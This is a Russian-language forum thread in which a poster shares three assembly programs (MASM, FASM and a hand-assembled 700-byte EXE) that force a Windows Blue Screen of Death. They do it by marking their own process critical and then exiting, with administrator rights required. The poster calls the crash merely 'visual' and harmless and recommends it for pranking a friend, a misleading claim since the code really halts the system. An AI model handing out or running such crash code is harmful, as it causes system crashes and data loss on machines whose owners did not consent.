[FASM, MASM] BlueScreen

[VindictuS]

Этот код демонстрирует Синий Экран Смерти.

Версия для MASM весит в 1,0 КБ stub. FASM версии в 1,50 кб. третий пример составляет 700 байт, когда EXE заголовок составляется вручную.


Выполняет в режиме администратора только.

MASM (1.00 KB):
.386
.model flat, stdcall
option casemap :none

include masm32includekernel32.inc
include masm32includentdll.inc

includelib masm32libkernel32.lib
includelib masm32libntdll.lib

.code
LibName db "ntdll", 0
ProcName db "RtlSetProcessIsCritical", 0

start:
lea eax, [esp+12]
invoke RtlAdjustPrivilege, 20, 1, 0, eax
push 0
push 0
push 1
invoke LoadLibrary, addr LibName
invoke GetProcAddress, eax, addr ProcName
call eax
call ExitProcess
end start
FASM (1.50 KB):
format PE GUI 4.0
include '..\!FASM\INCLUDE\win32a.inc'

lea eax, dword [esp+12]
invoke RtlAdjustPrivilege, 20, 1, 0, eax
invoke RtlSetProcessIsCritical, 1, 0, 0
invoke ExitProcess

section '.data' import data readable writeable

library ntdll, 'ntdll', kernel32, 'kernel32'
import ntdll, RtlAdjustPrivilege, 'RtlAdjustPrivilege', RtlSetProcessIsCritical, 'RtlSetProcessIsCritical'
import kernel32, ExitProcess, 'ExitProcess'
FASM, tiny version, 700 bytes:
format binary as "EXE"
use32

db "MZ"
dw $60, 1
db 0, 0, 2, 0
dw $1000, $1000, 0, 4160
db 0, 0, 0, 0, 0, 0
dw $1C
db 0, 0, 0, 0, 0, 0, $0E, $1F, $B4, 9, $BA, $20, 0, $CD, $21, $B8, 1, $4C, $CD, $21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, $60, 0, 0, 0
db ".............................", $0D, $0A, $24, "PE", 0, 0
dw $014C, 1
dd 0, 0, 0
dw $00E0, $010E, $010B, 0
dd 0, 0, 0, (start), 0, 0, 0, $1000, $0200, 1, 0, 4, 0, ((llveryend+$0FFF) shr 12) shl 12, $0200, 0
dw 2, 0
dd $1000, $1000, $1000, 0, 0, 16
dq 0
dd (llimpbeg), xximpsize
dq 3 dup(0)
dd (llrelbeg), 8
dq 10 dup(0)
db ".datasec"
dd (llveryend-start), $1000, (llveryend-start), $0200, 0, 0, 0, $60000020
db ($0200-$) dup(0)
org $1000

start: cld
call refe
refe: pop esi
lea ebx, [esi+(imp_center-refe)]
lea eax, dword [esp+12]
push eax 0 1 20
call dword [(RtlAdjustPrivilege-imp_center)+ebx]
push 0 0 1
call dword [(RtlSetProcessIsCritical-imp_center)+ebx]
call dword [(ExitProcess-imp_center)+ebx]

llimpbeg:
dd 0, 0, 0, (kernel_name), (kernel_table)
dd 0, 0, 0, (ntdll_name), (ntdll_table)
dd 0, 0, 0

llrelbeg:
dd 0, 8

kernel_table:
ExitProcess: dd (_ExitProcess), 0

imp_center:
ntdll_table:
RtlAdjustPrivilege: dd (_RtlAdjustPrivilege)
RtlSetProcessIsCritical: dd (_RtlSetProcessIsCritical), 0

kernel_name: db "kernel32", 0
ntdll_name: db "ntdll", 0

_ExitProcess: db 0, 0, "ExitProcess"
_RtlAdjustPrivilege: db 0, 0, "RtlAdjustPrivilege"
_RtlSetProcessIsCritical: db 0, 0, "RtlSetProcessIsCritical"

xximpsize = ($ - llimpbeg)
llveryend:

[Сверхчеловек]

Второй код 1,50 кб у меня не работает. С остальными всё нормально.

[rama333]

Потом все норм будет или останется ?

[VindictuS]

Всё нормально будет, он визуальный. Например чтобы над другом приколоться.